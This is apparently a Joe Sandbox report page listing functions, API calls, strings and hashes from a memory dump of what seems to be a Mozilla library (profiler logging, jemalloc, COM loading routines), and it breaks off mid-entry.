Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentProcessThread$BufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] locked_profiler_stop
API String ID: 3136165603-3405337583
Opcode ID: 53827cb856ca243930f7e1ae356d55a3ec6c91c6e69760530e4b847d173c59b6
Instruction ID: 116fe8d4a6c997adc3d56d74ed05eeba215a6d23a82cdab1337d6afe7d69c649
Opcode Fuzzy Hash: 53827cb856ca243930f7e1ae356d55a3ec6c91c6e69760530e4b847d173c59b6
Instruction Fuzzy Hash: CC210B75B011304BEB298B26CC44B997775EF8230DF541419D90D87B81CB34981ACBEE

Function 6C63F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C63F598), ref: 6C63F621

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63F637
AcquireSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F645
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C63F62A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fb0f28c32a1c3098edbcc23dcdd433cb50f8bdde4f2dd67dfa4e7390846be1
Instruction ID: 7bad711f6ea3cee894b8fd0d0646eaac6cbf5bd85e2d919026bb92436a242b83
Opcode Fuzzy Hash: 69fb0f28c32a1c3098edbcc23dcdd433cb50f8bdde4f2dd67dfa4e7390846be1
Instruction Fuzzy Hash: 36119875201124ABDB089F59C588DD57779FF86368F502855EA0583F02CB71A825CFBD

Function 6C602070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

LoadLibraryW.KERNEL32(combase.dll,6C601C5F), ref: 6C6020AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6020CD
__Init_thread_footer.LIBCMT ref: 6C6020E1
FreeLibrary.KERNEL32 ref: 6C602124

Strings

CoInitializeSecurity, xrefs: 6C6020C7
combase.dll, xrefs: 6C6020A9

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: aabcd48111bfaa3d4d50c59fe64812c594492a92533bce0a7fb4c3415498a45b
Instruction ID: e2a287d16e3c3005b670adc85553042cda59e909f092384983241076fc45decd
Opcode Fuzzy Hash: aabcd48111bfaa3d4d50c59fe64812c594492a92533bce0a7fb4c3415498a45b
Instruction Fuzzy Hash: 5521AF35200219EFEF1A8F66CD88DDA3B75FF5A369F004815FA0192610D3319861CF7A

Function 6C6576C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6576F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C657705

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C657717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C65778F,00000000,00000000,00000000,00000000), ref: 6C657731
free.MOZGLUE(00000000), ref: 6C657760

Strings

}>cl, xrefs: 6C6576C4

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>cl
API String ID: 2538299546-2620422864
Opcode ID: 0d4b75c09152019fcf1fce0dca8a463cd5f01a728b2177be491fa6ceb2aee01a
Instruction ID: f9d91231da414511695c2dd863d359bea9fc20329ebd901e45e3535af0c10a75
Opcode Fuzzy Hash: 0d4b75c09152019fcf1fce0dca8a463cd5f01a728b2177be491fa6ceb2aee01a
Instruction Fuzzy Hash: 7C11B2B19043256FE710AF7A9D44BABBEE8EF46354F144829F888A7300E770985087E6

Function 6C601FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C601FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C601FFD
__Init_thread_footer.LIBCMT ref: 6C602011
FreeLibrary.KERNEL32 ref: 6C602059

Strings

combase.dll, xrefs: 6C601FD9
CoCreateInstance, xrefs: 6C601FF7

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 0132458899fd1a50d9f2fa60f10c31385427774e52d1124f96e0dcd964ef2ea0
Instruction ID: 1d19d2faa4a30bc4afde213eea24160a3d043bc4282fd0fb5721af2a4e27845e
Opcode Fuzzy Hash: 0132458899fd1a50d9f2fa60f10c31385427774e52d1124f96e0dcd964ef2ea0
Instruction Fuzzy Hash: B6117C74305214AFEF29CF16C98CEA63B79FB96369F004829F90592650C7319861CFBA

Function 6C600EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C62D9F0,00000000), ref: 6C600F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C600F3C
__Init_thread_footer.LIBCMT ref: 6C600F50
FreeLibrary.KERNEL32(?,6C62D9F0,00000000), ref: 6C600F86

Strings

CoInitializeEx, xrefs: 6C600F36
combase.dll, xrefs: 6C600F18

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 06e603c80364587e2b868d363fdd1ed57763896dbb9dcdc97d4c399cea188116
Instruction ID: bc0c0d5b476d5eb4b19ddba923946b22ccad54dab22c8e496f2680d9c0e99cbb
Opcode Fuzzy Hash: 06e603c80364587e2b868d363fdd1ed57763896dbb9dcdc97d4c399cea188116
Instruction Fuzzy Hash: 6B11A3B43052609BEF09CF66CA88E863774F79B366F004A19ED0592740D7729405CF7E

Function 6C63F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F561

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63F577
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F585
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C63F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C63F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C63F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C63F56A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 12cc2f4c6d51d299124870ced7b231a1a53cc3b290e3f59f3d6fef9f3ea642e6
Instruction ID: dcec9a41844f20137414fce123485eec07cc9d9980309b9cd98432e4b122d322
Opcode Fuzzy Hash: 12cc2f4c6d51d299124870ced7b231a1a53cc3b290e3f59f3d6fef9f3ea642e6
Instruction Fuzzy Hash: B5F0B4762002209FDB056F66988CD5A77BCEFC62ADF101C15FA0983702DB3548058B7E

Function 6C600E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C600DF8), ref: 6C600E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C600EA1
__Init_thread_footer.LIBCMT ref: 6C600EB5
FreeLibrary.KERNEL32 ref: 6C600EC5

Strings

kernel32.dll, xrefs: 6C600E7D
GetProcessMitigationPolicy, xrefs: 6C600E9B

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 7298e0ddad34e256f21b373e16600edc86d4884e6aee3bec50d44bc3537563e9
Instruction ID: a47f7658a69eee80604d2532f12a0928199efa72845fac865a7ce65b76f43857
Opcode Fuzzy Hash: 7298e0ddad34e256f21b373e16600edc86d4884e6aee3bec50d44bc3537563e9
Instruction Fuzzy Hash: A301E1747043918BDB1A8F9AE994E5237B5F747355F100D15D90163B40D778A485CE2F

Function 6C63F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C63F598), ref: 6C63F621

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63F637
AcquireSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F645
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C63F62A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: f0a48b9537b0a11d894ef07503cc71be76955a3bcbe841ea7032692c591e5ace
Instruction ID: 81cc1eafebda4cc43c04437a571b2f6d5cc4e7804a111a25545c16d4d856d46b
Opcode Fuzzy Hash: f0a48b9537b0a11d894ef07503cc71be76955a3bcbe841ea7032692c591e5ace
Instruction Fuzzy Hash: 9BF05475300224AFDB056F66888CD5A777DEFC729DF101855FA0983752CB7548068B7E

Function 6C6305F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C62CFAE,?,?,?,6C5F31A7), ref: 6C6305FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C62CFAE,?,?,?,6C5F31A7), ref: 6C630616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5F31A7), ref: 6C63061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5F31A7), ref: 6C630627

Strings

<jemalloc>, xrefs: 6C6305FA, 6C63060F
: (malloc) Error in VirtualFree(), xrefs: 6C63061B, 6C630625

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: cc83fc42e11f277e4cc761cd2c769c78c4e550bedbda7c78343416f44c725965
Instruction ID: ce4d127fc63f0d0ee67076c4bbc574dd447b1835f6827d1003e5c3809a28a314
Opcode Fuzzy Hash: cc83fc42e11f277e4cc761cd2c769c78c4e550bedbda7c78343416f44c725965
Instruction Fuzzy Hash: 82E08CE2A0116037FA142256AC86DBB761CDBC6534F080039FE0E93701E94AAD1A51FB

Function 6C6005F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 824cc510f6bb5b58c92e631501da7dca3e67afc56cfae0b131b2407e6c5b0eb4
Instruction ID: e97ad23efd7514bf7b4877377508ee009f3e38a269106c964c7f6ec111e0e36c
Opcode Fuzzy Hash: 824cc510f6bb5b58c92e631501da7dca3e67afc56cfae0b131b2407e6c5b0eb4
Instruction Fuzzy Hash: B5A15A70A00655CFDB28CF29C694B99FBF1BF89304F44866ED44AA7B00E735A945CFA4

Function 6C6514A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6514C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6514E2
GetCurrentThreadId.KERNEL32 ref: 6C651546
InitializeConditionVariable.KERNEL32(?), ref: 6C6515BA
free.MOZGLUE(?), ref: 6C6516B4

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 212a208c1c822196c264d321568a9f2cbc8b79efa196e338c90dd48acafe8c2d
Instruction ID: e48757182ed1cd05f2ab4ca71e4b16e9f42f4be273c0a22d1ad9673b3846cf70
Opcode Fuzzy Hash: 212a208c1c822196c264d321568a9f2cbc8b79efa196e338c90dd48acafe8c2d
Instruction Fuzzy Hash: B161E071A007109FDB118F25C880BDAB7B0BF8A308F54891DED8A57701DB31E959CBAA

Function 6C649F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C649FDB
free.MOZGLUE(?,?), ref: 6C649FF0
free.MOZGLUE(?,?), ref: 6C64A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C64A0BE
free.MOZGLUE(?,?), ref: 6C64A0D5
free.MOZGLUE(?,?), ref: 6C64A0EB

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 01cc30e141b85765e5800d01e4c5961588bb603ac38a4c11e46076c2b400e376
Instruction ID: e62bbe0569f906d9b9acd18d0a1d42d36e0f3a636b495fad0deb8a7bd443be6e
Opcode Fuzzy Hash: 01cc30e141b85765e5800d01e4c5961588bb603ac38a4c11e46076c2b400e376
Instruction Fuzzy Hash: 5661DC759087019FC711CF18C48059AB3F5FF89329F50866DE8999BB02EB32E986CBC5

Function 6C64DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C64D38A,?), ref: 6C64DC6F
free.MOZGLUE(?,?,?,?,?,6C64D38A,?), ref: 6C64DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C64D38A,?), ref: 6C64DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C64D38A,?), ref: 6C64DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C64D38A,?), ref: 6C64DD4A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 583007f54331eea1765d65e87f3bf9d19af0e20942b104d5921f18ccfb0954e4
Instruction ID: e77567803e6ac95bceea7c777330f033439e6e393f6f7ba9bf96fa7381637eeb
Opcode Fuzzy Hash: 583007f54331eea1765d65e87f3bf9d19af0e20942b104d5921f18ccfb0954e4
Instruction Fuzzy Hash: 32419CB5E00215CFCB04CFA9C88099AB7F6FF89308B658469DA05ABB10D731FC00CB98

Function 6C62F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C62F480

Part of subcall function 6C5FF100: LoadLibraryW.KERNEL32(shell32,?,6C66D020), ref: 6C5FF122
Part of subcall function 6C5FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5FF132

CloseHandle.KERNEL32(00000000), ref: 6C62F555

